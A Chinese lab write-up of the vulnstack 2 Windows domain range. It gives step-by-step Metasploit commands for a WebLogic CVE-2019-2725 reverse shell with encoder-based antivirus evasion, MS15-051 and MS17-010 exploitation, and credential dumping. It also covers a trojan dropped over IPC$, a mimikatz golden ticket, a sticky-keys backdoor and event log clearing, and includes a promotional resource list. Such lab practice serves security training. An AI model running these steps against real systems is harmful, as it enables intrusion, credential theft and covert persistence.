第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
环境搭建
网络环境
![image.png](https://img-blog.csdnimg.cn/img_convert/3fafe8c6792ca3a2cf7e5147006f1789.png)
网卡配置
只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。
DC
IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)
WEB
IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)
PC
IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)
开启靶场
进入C:\Oracle\Middleware\user_projects\domains\base_domain
目录下,双击startWebLogic开启服务。
![image.png](https://img-blog.csdnimg.cn/img_convert/a83028d75fef73c72b1f6c8502d73045.png)
外网渗透
我们已知当前Web服务器的公网IP为192.168.111.80,对Web服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。
端口扫描
nmap -sV -Pn -T4 192.168.111.80
![image.png](https://img-blog.csdnimg.cn/img_convert/ef5864e794af6b8f125618ea0860be6a.png)
【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)
漏洞探测
通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的,在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:
python3 WeblogicScan.py -u 192.168.111.80 -p 7001
![image.png](https://img-blog.csdnimg.cn/img_convert/129489d8d2fb500c27980063da0a1509.png)
漏洞利用
通过脚本探测发现存在CVE-2019-2725,我们可以使用网上的exp,这里我们使用msf自带的漏洞利用模块:
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run
![image.png](https://img-blog.csdnimg.cn/img_convert/b592fe9437d88cf90f2150b8328f0de3.png)
这里还需要在advanced选项中对payload进行简单的编码:
setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru
![image.png](https://img-blog.csdnimg.cn/img_convert/98223fe399ec978b76f06b0ff4d15c97.png)
成功返回meterpreter。
这里我们做编码的目的是为了绕过360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。
权限提升
在我们成功返回shell后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。
切换目录到C:\Users\de1ay下,使用meterpreter上传Sherlock脚本:
cd C:/Users/de1ay
upload Sherlock.ps1
[图片上传中…(image-d1bca3-1636183507751-34)]
进入shell模式,使用Sherlock脚本探测可用于本地提权的漏洞:
powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"
![image.png](https://img-blog.csdnimg.cn/img_convert/0e2797b28d930feda76d21aab05e1208.png)
这里我们通过Sherlock脚本发现存在MS15-051相关漏洞,使用msf自带的利用模块提权:
use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run
![image.png](https://img-blog.csdnimg.cn/img_convert/ae78e9f453279725a861e21908a731ea.png)
提权成功:
![image.png](https://img-blog.csdnimg.cn/img_convert/a9630a32909b6a3c1136846d8ccf3375.png)
至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。
内网渗透
在进入内网后,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。
信息收集
systeminfo
![image.png](https://img-blog.csdnimg.cn/img_convert/dbb873a1dd0c412c9a9b5f0660df4958.png)
ipconfig /all
![image.png](https://img-blog.csdnimg.cn/img_convert/01d209a9f006ad968994568d0baf9234.png)
通过查询主机信息和网络信息,我们发现该服务器主机名为WEB,处于域环境,并且有两张网卡,其内网网段为10.10.10.0/24,主DNS服务器IP为10.10.10.10,在域环境中,域控制器往往同时作为DNS服务器,由此判断,我们要找的域控制器IP很可能就是10.10.10.10。
net user
net user /domain
net time /domain
![image.png](https://img-blog.csdnimg.cn/img_convert/afddf7e854fb4ec3205aaa24b5d258da.png)
通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为DC。
ping DC
![image.png](https://img-blog.csdnimg.cn/img_convert/684fe1210d3d0f04d80243d4e3dcd5ee.png)
通过对DC使用ping命令,我们发现其IP为10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为DC,内网ip地址为:10.10.10.10,并且我们目前控制的这台Web服务器可以访问域控制器。
net group "Domain Admins" /domain
![image.png](https://img-blog.csdnimg.cn/img_convert/fc020d377cc7bbe0c5bbb4a78c5efddf.png)
net group "domain computers" /domain
![image.png](https://img-blog.csdnimg.cn/img_convert/06f053bb025c1aaa3250c7bc452e03c9.png)
ping PC
![image.png](https://img-blog.csdnimg.cn/img_convert/3c715befb09794832b90caf60e049ba7.png)
这里我们通过ping PC发现PC机的ip为10.10.10.201,但是没有返回数据,说明此处防火墙禁止了ICMP协议,在后面对PC机进行内网渗透时可以考虑其它协议。
至此,我们已经初步完成了内网信息收集:
该靶场为域环境:de1ay.com
该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator
设置代理
在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。
建立路由:
route add 10.10.10.0 255.255.255.0 1
![image.png](https://img-blog.csdnimg.cn/img_convert/e5daecfb4f3b1b18ca0b4ed1f6714fba.png)
开启socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run
![image.png](https://img-blog.csdnimg.cn/img_convert/cd6e7da1c6484574858dbe2c3a179f9b.png)
配置代理工具proxychains4:
vim /etc/proxychains4.conf
![image.png](https://img-blog.csdnimg.cn/img_convert/5983994f4a870a7e596590e986591b6a.png)
这样,我们就可以使用msf以及设置了代理的其它工具攻击内网中的主机了。
在信息收集时,我们使用了ping命令简单探测了一下内网连通性,发现PC机无法ping通,这可能是防火墙阻止了ICMP协议,这里我们通过代理使用nc命令探测,发现可以连通,说明防火墙并没有阻止TCP协议的流量。
proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135
![image.png](https://img-blog.csdnimg.cn/img_convert/e229c897505d35fa754e4851ccd1cfad.png)
发现防火墙并没有拦截TCP流量后,我们就可以使用TCP协议进行数据传输了。
横向移动
先扫一下端口。
![image.png](https://img-blog.csdnimg.cn/img_convert/08d2265b548e1a69077e69f20afe0f8e.png)
发现两台机器都开起了445端口,探测以下是否存在永恒之蓝漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run
![image.png](https://img-blog.csdnimg.cn/img_convert/a80ec5346514ae8f6bcc41e74b13611e.png)
发现两台主机都存在该漏洞,尝试使用msf内置的漏洞利用模块:
use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run
域控制器执行成功,域内成员机PC执行失败:
![image.png](https://img-blog.csdnimg.cn/img_convert/e7076dfaf62ffc958e89aa85e5cbeb49.png)
至此,我们已成功获得域控制器权限。
域内成员机PC我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的Web服务器上加载kiwi,提取服务器上储存的密码:
sessions 2
load kiwi
creds_all
![image.png](https://img-blog.csdnimg.cn/img_convert/029e820da0f9114f93c14e12a451aca2.png)
我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。
这里我们使用smart_hashdump模块提取域控中的哈希:
use post/windows/gather/smart_hashdump
set session 3
run
![image.png](https://img-blog.csdnimg.cn/img_convert/017e9dd319ccb5f06c36ff6df72ba489.png)
成功提取到了域内成员的hash值,并且我们发现域管理员的hash和其它域成员的hash相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。
我们先使用msf生成一个木马:
msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
然后,将该木马上传到已经被我们控制的web服务器上:
upload /tmp/msf.vbs
![image.png](https://img-blog.csdnimg.cn/img_convert/91d4004b00e9400906a6df97dde86fa3.png)
进入shell,与PC主机建立IPC$连接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
![image.png](https://img-blog.csdnimg.cn/img_convert/55778d63588137b49a82e8de0cd6fb9c.png)
将上传的木马复制到PC机C盘目录下:
copy msf.vbs \\10.10.10.201\c$
![image.png](https://img-blog.csdnimg.cn/img_convert/587a30dbe654c0bee4e2d0f0fe411fd8.png)
通过端口扫描我们发现PC开启了3389端口:
![image.png](https://img-blog.csdnimg.cn/img_convert/fc5a6d19801130a9a2364f41abf09020.png)
在msf上开启监听:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run
![image.png](https://img-blog.csdnimg.cn/img_convert/488fd8dc00b1909f30b675d3041132f1.png)
连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:
proxychains4 rdesktop 10.10.10.201:3389
![image.png](https://img-blog.csdnimg.cn/img_convert/3c02b17026c992b7a94cbd870c96d6ea.png)
到此,我们已经控制了域内全部主机。
![image.png](https://img-blog.csdnimg.cn/img_convert/a75e55da462987189ba6a8ec57e1b45b.png)
权限维持
在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现PC机的权限维持。
域控制器权限维持
在之前的信息收集过程中,我们已经成功获取到了krbtgt的hash值:
![image.png](https://img-blog.csdnimg.cn/img_convert/2064538f6901d0c64dbe899a57cff0f6.png)
因为PC机的session没有进行提权,并且是域成员账号,可以帮助我们获取域的SID,所以我们切换到PC机的session,获取域SID:
whoami /user
![image.png](https://img-blog.csdnimg.cn/img_convert/f3d10d4d5c9bde1854710e863b5f8dc7.png)
上传mimikatz到PC机,进入PC的shell模式,发现当前用户为普通域成员,无法访问域控制器目录。
![image.png](https://img-blog.csdnimg.cn/img_convert/30288b3a16da8574051c82e59d19ae55.png)
使用mimikatz生成黄金票据并注入内存:
mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi
![image.png](https://img-blog.csdnimg.cn/img_convert/de0a5f86c3a8f23ce066c6cb601f9fff.png)
成功注入内存,我们尝试访问域控制器C盘:
dir \\DC\C$
![image.png](https://img-blog.csdnimg.cn/img_convert/94ce259ad392685c90b6c576b7a98692.png)
发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。
粘滞键后门
在PC机上使用粘滞键后门前,需要先进行提权。这里同样上传Sherlock脚本进行探测利用:
![image.png](https://img-blog.csdnimg.cn/img_convert/d52ad6917f3eb21ce0925f4328ef025e.png)
提权成功。
使用msf中的后渗透模块添加粘滞键后门:
use post/windows/manage/sticky_keys
set session 8
run
![image.png](https://img-blog.csdnimg.cn/img_convert/f5121706807d4485d1a2c61049beace5.png)
痕迹清除
删除之前上传的mimikatz和Sherlock脚本。
run event_manager -c
![image.png](https://img-blog.csdnimg.cn/img_convert/98f8e82b2531975f0d97d9ffe2ab3d6c.png)
结语
关于免杀,我使用的全部是msf的编码自免杀,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都没有拦截。虽然靶机中有360,但是我直接上传的mimikatz也没有被杀,所以我有些怀疑是360的版本比较低,除了web服务器上传的第一个payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明360至少对第一个payload是拦截了的。
本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷msf,所以这篇文章中的整个渗透过程都是基于msf进行的,大家也可以多多尝试其它工具和方法,比如CS、Empire等等。